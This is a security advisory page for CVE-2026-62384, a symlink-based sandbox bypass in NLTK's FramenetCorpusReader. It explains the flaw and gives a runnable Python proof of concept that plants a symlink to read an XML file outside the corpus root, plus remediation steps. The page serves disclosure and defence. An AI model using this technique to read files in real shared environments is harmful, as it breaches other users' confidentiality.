CVE-2026-62384: NLTK FramenetCorpusReader Symlink Sandbox Bypass before 3.10.2

Published Aug 22, 2026
·
Updated

NLTK versions before 3.10.2 contain a symlink-based sandbox bypass in FramenetCorpusReader that allows attackers to read arbitrary XML files outside the corpus root. Attackers can place symlinks with names containing no path separators inside the corpus subdirectory, which pass the path validation guard and are resolved to files outside the intended corpus root when accessed via framebyname(), lufile(), or doc() methods.

Other sources

This is a new, distinct vulnerability: a bypass of the fix already published as GHSA-xh95-f55m-82fw ("Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox"), not a duplicate of it.

Summary

The original advisory was fixed (PR #3581) by adding rejectunsafepathcomponent(), which blocks literal /, \, .., and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All three call sites that use this guard still resolve the resulting path through self.abspath() (nltk/corpus/reader/api.py, self.root.join(fileid)), which is a plain lexical join, not the symlink-resolving, requiredroot-scoped check that CorpusReader.open() (and NKJPCorpusReader's own fix for its sibling advisory) correctly use elsewhere in this same codebase.

A symlink placed inside the corpus's own subdirectory, with a name containing no separators at all, passes the guard cleanly and reads a file completely outside the corpus root.

Affected code (nltk/corpus/reader/framenet.py)

- framebyname() reads <framedir>/<name>.xml - lufile() reads <ludir>/lu<id>.xml - doc() reads <fulltextdir>/<filename>

All three follow the same chain: rejectunsafepathcomponent(value, ...), then self.abspath(os.path.join(subdir, value)), then XMLCorpusView(...), opened via PathPointer.open() with no requiredroot.

Proof of concept

Self-contained, runnable end to end.

python import os import tempfile

from nltk.corpus.reader.framenet import FramenetCorpusReader

root = tempfile.mkdtemp() corpusroot = os.path.join(root, "framenetv17") framedir = os.path.join(corpusroot, "frame") secretdir = os.path.join(root, "outsideframenetroot") os.makedirs(framedir) os.makedirs(secretdir)

with open(os.path.join(corpusroot, "frRelation.xml"), "w") as f: f.write("<frameRelations/>")

secretpath = os.path.join(secretdir, "stolen.xml") with open(secretpath, "w") as f: f.write( '<frame cBy="000" cDate="01/01/2000" name="StolenFrame" ID="999999">' "<definition>THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT</definition>" "</frame>" )

Attacker plants this inside <corpusroot>/frame/. No path separators, so it passes rejectunsafepathcomponent cleanly. linkpath = os.path.join(framedir, "evillink.xml") os.symlink(secretpath, linkpath)

reader = FramenetCorpusReader(corpusroot, []) reader.frameidx = {"dummy": {"name": "dummy"}} # skip unrelated index build

result = reader.framebyname("evillink") # normal, routine call, no ".." anywhere print("frame name:", result["name"]) print("definition:", result["definition"])

Actual output when run against unpatched main (commit 35813c8):

frame name: StolenFrame definition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT

That content was read from secretpath, a file entirely outside corpusroot, via a single, unmodified, public API call. No exception is raised anywhere in the chain; rejectunsafepathcomponent passes because "evillink" contains no separators, .., or drive prefix.

Verified the same way for the other two affected call sites, lufile() (lu<id>.xml symlink under lu/) and doc() (arbitrary filename symlink under fulltext/), both succeeding identically with no exception raised. Why this is in scope

- No malicious file for a victim to open, no special user interaction. Just a tampered/shared corpus directory (NLTK's own SECURITY.md names "shared environments... multi-tenant pipelines" as its threat model) plus a completely normal API call. - Core corpus-reader code, not a demo/GUI tool. - Confirmed unintentional: PR #3581's own description states the goal was to route through "the nltk.pathsec sandbox... including the strict ENFORCE=True mode" and be "consistent with the validation already used elsewhere in NLTK." It doesn't achieve that, since abspath() never reaches the scoped, symlink-resolving check that exists and is used correctly elsewhere in the same file tree (NKJPCorpusReader).

Suggested fix

Route all three call sites through CorpusReader.open() (or pass requiredroot=self.root to validatepath() directly, as NKJPCorpusReader already does), instead of self.abspath() plus raw PathPointer.open().

— GitHub

Affected Software

3 affected componentsFixes available
nltk FramenetCorpusReader<3.10.2
nltk nltk>=3.10.0<3.10.2
pip/nltk>=3.10.0<3.10.2
3.10.2

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/nltk to a version that resolves this vulnerability.

    Fixed in 3.10.2
  2. Upgrade

    Upgrade NLTK FramenetCorpusReader to a version that resolves this vulnerability.

    Fixed in 3.10.2
  3. Compensating control

    If upgrading is not immediately possible in shared/multi-tenant environments, ensure the Framenet corpus directory (e.g., the framenet_v17 subdirectories like frame/, lu/, and fulltext/) is not writable by untrusted users so they cannot plant symlinks (e.g., a symlink named without separators such as "evil_link.xml") inside it.

Event History

Aug 22, 2026
CVE Published
via MITRE·02:12 PM
Data Sourced
via MITRE·02:12 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·03:16 PM
DescriptionSeverityWeaknessAffected Software
Sep 8, 2026
Advisory Published
via GitHub·04:39 PM
Data Sourced
via GitHub·04:39 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What conditions are required for exploitation?

An attacker must be able to place a symlink inside the FrameNet corpus subdirectory. The symlink name must contain no path separators, and exploitation occurs when the application accesses it through frame_by_name(), _lu_file(), or doc().

2

What data can be exposed?

The flaw allows reading arbitrary XML files located outside the intended corpus root when a permitted symlink resolves to those files. The issue affects confidentiality; no integrity or availability impact is specified.

3

Which versions should be remediated?

NLTK FramenetCorpusReader versions before 3.10.2 are affected. Update to version 3.10.2 or later.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203